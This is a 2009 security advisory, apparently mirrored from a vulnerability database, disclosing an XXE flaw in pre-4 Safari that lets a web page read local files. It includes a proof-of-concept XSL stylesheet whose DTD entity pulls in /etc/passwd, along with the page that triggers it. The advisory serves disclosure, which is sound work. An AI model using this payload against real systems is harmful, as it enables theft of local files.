Apple Safari XXE Local File Theft

🗓️ 09 Jun 2009 00:00:00Reported by Chris EvansType

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Apple Safari XXE Local File Theft. Safari prior to version 4 is vulnerable to an XXE attack allowing a malicious web page to steal local files. Attack is executed by embedding an evil XSL file with an XXE attack in the DTD

`Hi,  
  
Safari prior to version 4 may permit an evil web page to steal files  
from the local system.  
  
This is accomplished by mounting an XXE attack against the parsing of  
the XSL XML. This is best explained with a sample evil XSL file which  
includes a DTD that attempts the XXE attack:  
  
<!DOCTYPE doc [ <!ENTITY ent SYSTEM "file:///etc/passwd"> ] >  
<xsl:stylesheet version="1.0"  
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  
<xsl:template match="/">  
<html>  
<body>  
Below you should see the content of a local file, stolen by this evil web page.  
<p/>  
&ent;  
<script>  
alert(document.body.innerHTML);  
</script>  
</body>  
</html>  
</xsl:template>  
</xsl:stylesheet>  
  
To mount the attack, the attacker would serve a web page which has XML  
MIME type and requests to be styled by the evil stylesheet:  
  
<?xml version="1.0" encoding="ISO-8859-1"?>  
<?xml-stylesheet type="text/xsl" href="safaristealfilebug.xsl"?>  
<xml>  
irrelevant  
</xml>  
  
Full technical details: http://scary.beasts.org/security/CESA-2009-006.html  
  
Blog post: http://scarybeastsecurity.blogspot.com/2009/06/apples-safari-4-fixes-local-file-theft.html  
(includes 1-click demos)  
  
Cheers  
Chris  
`

09 Jun 2009 00:00Current

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